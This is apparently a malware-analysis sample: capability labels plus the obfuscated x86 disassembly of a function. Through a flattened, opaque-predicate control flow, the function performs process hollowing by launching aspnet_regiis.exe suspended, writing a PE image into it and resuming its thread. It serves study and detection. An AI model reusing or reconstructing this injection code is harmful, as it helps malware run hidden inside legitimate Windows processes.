Function at 0x10002260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x19c
mov eax, dword [0x10064000]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call fcn.10001010
mov dword [ebp - 0x17c], 0x66eff021
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x80fb3aec
je 0x10003b47
jmp 0x100022b2
mov eax, dword [ebp - 0x180]
sub eax, 0x8572b3f4
je 0x10003249
jmp 0x100022c8
mov eax, dword [ebp - 0x180]
sub eax, 0x884cc75d
je 0x10002d7f
jmp 0x100022de
mov eax, dword [ebp - 0x180]
sub eax, 0x8b443fab
je 0x10003385
jmp 0x100022f4
mov eax, dword [ebp - 0x180]
sub eax, 0x8f8684d3
je 0x10003b68
jmp 0x1000230a
mov eax, dword [ebp - 0x180]
sub eax, 0x8fb8c123
je 0x100044dd
jmp 0x10002320
mov eax, dword [ebp - 0x180]
sub eax, 0x904a54d9
je 0x100030fc
jmp 0x10002336
mov eax, dword [ebp - 0x180]
sub eax, 0x90c70aee
je 0x100042bf
jmp 0x1000234c
mov eax, dword [ebp - 0x180]
sub eax, 0x90d3f4ec
je 0x10003026
jmp 0x10002362
mov eax, dword [ebp - 0x180]
sub eax, 0x9addb080
je 0x10003a25
jmp 0x10002378
mov eax, dword [ebp - 0x180]
sub eax, 0x9baa57f6
je 0x10002e32
jmp 0x1000238e
mov eax, dword [ebp - 0x180]
sub eax, 0x9f24e69d
je 0x10003098
jmp 0x100023a4
mov eax, dword [ebp - 0x180]
sub eax, 0xa1e590af
je 0x1000469f
jmp 0x100023ba
mov eax, dword [ebp - 0x180]
sub eax, 0xa2107e09
je 0x1000430d
jmp 0x100023d0
mov eax, dword [ebp - 0x180]
sub eax, 0xa4c76812
je 0x1000461b
jmp 0x100023e6
mov eax, dword [ebp - 0x180]
sub eax, 0xa5263885
je 0x100042fe
jmp 0x100023fc
mov eax, dword [ebp - 0x180]
sub eax, 0xa7448c99
je 0x10003da9
jmp 0x10002412
mov eax, dword [ebp - 0x180]
sub eax, 0xa9b39918
je 0x10004016
jmp 0x10002428
mov eax, dword [ebp - 0x180]
sub eax, 0xaa21b962
je 0x100034f4
jmp 0x1000243e
mov eax, dword [ebp - 0x180]
sub eax, 0xaccafbec
je 0x100047da
jmp 0x10002454
mov eax, dword [ebp - 0x180]
sub eax, 0xadfb7778
je 0x10003394
jmp 0x1000246a
mov eax, dword [ebp - 0x180]
sub eax, 0xafcfd0a2
je 0x1000429a
jmp 0x10002480
mov eax, dword [ebp - 0x180]
sub eax, 0xbab21032
je 0x10003672
jmp 0x10002496
mov eax, dword [ebp - 0x180]
sub eax, 0xbb4f12ca
je 0x10004562
jmp 0x100024ac
mov eax, dword [ebp - 0x180]
sub eax, 0xbcf12d67
je 0x1000310b
jmp 0x100024c2
mov eax, dword [ebp - 0x180]
sub eax, 0xc1d7037c
je 0x10004273
jmp 0x100024d8
mov eax, dword [ebp - 0x180]
sub eax, 0xc6f7dc3e
je 0x100045b3
jmp 0x100024ee
mov eax, dword [ebp - 0x180]
sub eax, 0xc6fc1cc2
je 0x100047b6
jmp 0x10002504
mov eax, dword [ebp - 0x180]
sub eax, 0xcef618e3
je 0x10004282
jmp 0x1000251a
mov eax, dword [ebp - 0x180]
sub eax, 0xd03bd20e
je 0x10003bde
jmp 0x10002530
mov eax, dword [ebp - 0x180]
sub eax, 0xd1127c47
je 0x10003a34
jmp 0x10002546
mov eax, dword [ebp - 0x180]
sub eax, 0xd2ba6070
je 0x10003c97
jmp 0x1000255c
mov eax, dword [ebp - 0x180]
sub eax, 0xd398d60c
je 0x10002d58
jmp 0x10002572
mov eax, dword [ebp - 0x180]
sub eax, 0xd3bd013c
je 0x1000479b
jmp 0x10002588
mov eax, dword [ebp - 0x180]
sub eax, 0xd6f90362
je 0x10003aaa
jmp 0x1000259e
mov eax, dword [ebp - 0x180]
sub eax, 0xd939d485
je 0x100038b9
jmp 0x100025b4
mov eax, dword [ebp - 0x180]
sub eax, 0xdccf8349
je 0x10003557
jmp 0x100025ca
mov eax, dword [ebp - 0x180]
sub eax, 0xdd9accc3
je 0x10003451
jmp 0x100025e0
mov eax, dword [ebp - 0x180]
sub eax, 0xe033ddde
je 0x100044ce
jmp 0x100025f6
mov eax, dword [ebp - 0x180]
sub eax, 0xe3eafc83
je 0x100032e0
jmp 0x1000260c
mov eax, dword [ebp - 0x180]
sub eax, 0xe4091148
je 0x100047f8
jmp 0x10002622
mov eax, dword [ebp - 0x180]
sub eax, 0xe48a5f1d
je 0x100046ea
jmp 0x10002638
mov eax, dword [ebp - 0x180]
sub eax, 0xe5d72fc2
je 0x100041d9
jmp 0x1000264e
mov eax, dword [ebp - 0x180]
sub eax, 0xe620f705
je 0x1000478c
jmp 0x10002664
mov eax, dword [ebp - 0x180]
sub eax, 0xe6b9e1b0
je 0x1000369f
jmp 0x1000267a
mov eax, dword [ebp - 0x180]
sub eax, 0xe743bc00
je 0x1000436d
jmp 0x10002690
mov eax, dword [ebp - 0x180]
sub eax, 0xe861d00e
je 0x10003831
jmp 0x100026a6
mov eax, dword [ebp - 0x180]
sub eax, 0xefede380
je 0x10002dbc
jmp 0x100026bc
mov eax, dword [ebp - 0x180]
sub eax, 0xf1713f86
je 0x1000323a
jmp 0x100026d2
mov eax, dword [ebp - 0x180]
sub eax, 0xf1bbc967
je 0x10004174
jmp 0x100026e8
mov eax, dword [ebp - 0x180]
sub eax, 0xf2290183
je 0x100030ed
jmp 0x100026fe
mov eax, dword [ebp - 0x180]
sub eax, 0xf28a7e8b
je 0x100033cf
jmp 0x10002714
mov eax, dword [ebp - 0x180]
sub eax, 0xf45785f6
je 0x10002f22
jmp 0x1000272a
mov eax, dword [ebp - 0x180]
sub eax, 0xf4a2dc65
je 0x100044ec
jmp 0x10002740
mov eax, dword [ebp - 0x180]
sub eax, 0xf82a6fd5
je 0x10002c87
jmp 0x10002756
mov eax, dword [ebp - 0x180]
sub eax, 0x2d3037f
je 0x10004714
jmp 0x1000276c
mov eax, dword [ebp - 0x180]
sub eax, 0x63113e6
je 0x10004485
jmp 0x10002782
mov eax, dword [ebp - 0x180]
sub eax, 0x65ddb1d
je 0x10003fd1
jmp 0x10002798
mov eax, dword [ebp - 0x180]
sub eax, 0x6efecb8
je 0x100041ca
jmp 0x100027ae
mov eax, dword [ebp - 0x180]
sub eax, 0x7c1a706
je 0x1000442d
jmp 0x100027c4
mov eax, dword [ebp - 0x180]
sub eax, 0xa2862a9
je 0x10004165
jmp 0x100027da
mov eax, dword [ebp - 0x180]
sub eax, 0xba05c99
je 0x10003d9a
jmp 0x100027f0
mov eax, dword [ebp - 0x180]
sub eax, 0xd1e3541
je 0x1000477d
jmp 0x10002806
mov eax, dword [ebp - 0x180]
sub eax, 0xdf033cd
je 0x10003ff2
jmp 0x1000281c
mov eax, dword [ebp - 0x180]
sub eax, 0xf64efb6
je 0x100035ad
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69edf21a
mov ecx, 0x3ad10409
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x17c], 0x884cc75d
jmp 0x10004802
mov eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x108]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x17c], 0xefede380
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x7d7db42d
sub edx, 1
add edx, 0x7d7db42d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75418176
mov ecx, 0x9baa57f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [ebp - 0x104]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0x100], al
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75418176
mov ecx, 0x6c4834dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x11cbeb50
mov ecx, 0x2045a44e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dl, byte [ebp - 0xfe]
mov eax, 0x16598dd3
mov ecx, 0xbcf12d67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x128], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4c76812
mov ecx, 0xf2290183
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0x904a54d9
jmp 0x10004802
mov dword [ebp - 0x17c], 0xbcf12d67
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x879c72db
sub edx, 1
add edx, 0x879c72db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x14b907ac
mov ecx, 0x4f5dcead
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0x8572b3f4
jmp 0x10004802
mov dl, byte [ebp - 0xfd]
mov eax, 0x2517e6e5
mov ecx, 0x30de5676
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0x24]
add eax, 4
mov dword [ebp - 0xf8], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0xa3f31d6e
sub edx, 1
add edx, 0xa3f31d6e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1e590af
mov ecx, 0x8b443fab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0xadfb7778
jmp 0x10004802
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
sub esp, 8
mov edx, eax
mov eax, 0x74bd4fa5
mov ecx, 0xf28a7e8b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call fcn.10001cc0
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x17c], 0xdd9accc3
jmp 0x10004802
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xf0]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, 0xf64efb6
mov ecx, 0x43a0d13d
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [ebp - 0x120]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0xec], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x362c5ac2
sub edx, 1
sub edx, 0x362c5ac2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe48a5f1d
mov ecx, 0xdccf8349
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0x150f1654
jmp 0x10004802
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x120]
add eax, 4
add eax, 2
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x17c], 0xe6b9e1b0
jmp 0x10004802
mov eax, dword [ebp - 0xe4]
movzx esi, word [eax]
mov edx, dword [ebp - 0xe8]
mov eax, 0x80fb3aec
mov ecx, 0x292f3a09
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0xd4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x154]
imul edx, dword [ebp - 0x164], 0x28
add eax, edx
mov edx, dword [eax + 0x10]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xd8]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xcd], al
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43a90df8
mov ecx, 0xd939d485
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dl, byte [ebp - 0xcd]
mov eax, 0xd1127c47
mov ecx, 0x53040e26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0xd1127c47
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x4c746b61
sub edx, 1
add edx, 0x4c746b61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd1e3541
mov ecx, 0xd6f90362
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd1e3541
mov ecx, 0x7412f0d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
cmp dword [ebp - 0x14c], 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov dword [ebp - 0x17c], 0x8f8684d3
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x98ac74ab
sub edx, 1
add edx, 0x98ac74ab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe620f705
mov ecx, 0xd03bd20e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe620f705
mov ecx, 0x6da3da26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x6913c7df
sub edx, 1
sub edx, 0x6913c7df
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3bd013c
mov ecx, 0x4259702c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0xa7448c99
jmp 0x10004802
mov eax, dword [ebp - 0x15c]
add eax, 4
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x17c], 0x45195f91
jmp 0x10004802
mov dl, byte [ebp - 0x91]
mov eax, 0xe5d72fc2
mov ecx, 0xdf033cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x17c], 0xa9b39918
jmp 0x10004802
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x174]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x74]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov edx, eax
mov eax, 0x6efecb8
mov ecx, 0x3c0356a0
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0xf1bbc967
jmp 0x10004802
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x74]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov dword [ebp - 0x17c], 0x6efecb8
jmp 0x10004802
mov dword [ebp - 0x17c], 0xe5d72fc2
jmp 0x10004802
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaccafbec
mov ecx, 0x1cb28664
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0xcef618e3
jmp 0x10004802
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x17c], 0xafcfd0a2
jmp 0x10004802
mov eax, dword [ebp - 0x80]
add eax, 0x734ec70e
add eax, 1
sub eax, 0x734ec70e
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x17c], 0x5f04c531
jmp 0x10004802
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x17c], 0x4f57ce52
jmp 0x10004802
mov dword [ebp - 0x17c], 0xa2107e09
jmp 0x10004802
mov eax, dword [ebp - 0x120]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x17c], 0xe743bc00
jmp 0x10004802
mov ecx, dword [ebp - 0x78]
sub ecx, 0x265337d6
add ecx, 8
add ecx, 0x265337d6
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x20]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
sub esp, 8
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub esp, 4
mov dword [ebp - 0x17c], 0x74bd4fa5
jmp 0x10004802
mov dword [ebp - 0x17c], 0x2517e6e5
jmp 0x10004802
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x417f10a9
mov ecx, 0xe033ddde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov dword [ebp - 0x17c], 0x8fb8c123
jmp 0x10004802
mov dword [ebp - 0x17c], 0xf4a2dc65
jmp 0x10004802
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xa5d4fc9
sub edx, 1
sub edx, 0xa5d4fc9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe4091148
mov ecx, 0xbb4f12ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x7b5e4a9c
sub edx, 1
sub edx, 0x7b5e4a9c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe4091148
mov ecx, 0xc6f7dc3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004802
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005150
add esp, 0x19c
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x17c], 0x9f24e69d
jmp 0x10004802
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0x10007
mov dword [ebp - 0x17c], 0xe3eafc83
jmp 0x10004802
mov dword [ebp - 0x17c], 0xaa21b962
jmp 0x10004802
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
add ecx, 0xd49be8cd
sub ecx, eax
sub ecx, 0xd49be8cd
mov eax, dword [ebp - 0xcc]
add eax, ecx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x17c], 0x1ededdfa
jmp 0x10004802
mov dword [ebp - 0x17c], 0xd6f90362
jmp 0x10004802
mov dword [ebp - 0x17c], 0xd03bd20e
jmp 0x10004802
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x17c], 0x4259702c
jmp 0x10004802
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x17c], 0x623c12b8
jmp 0x10004802
mov dword [ebp - 0x17c], 0x1cb28664
jmp 0x10004802
mov dword [ebp - 0x17c], 0xbb4f12ca
jmp 0x10002296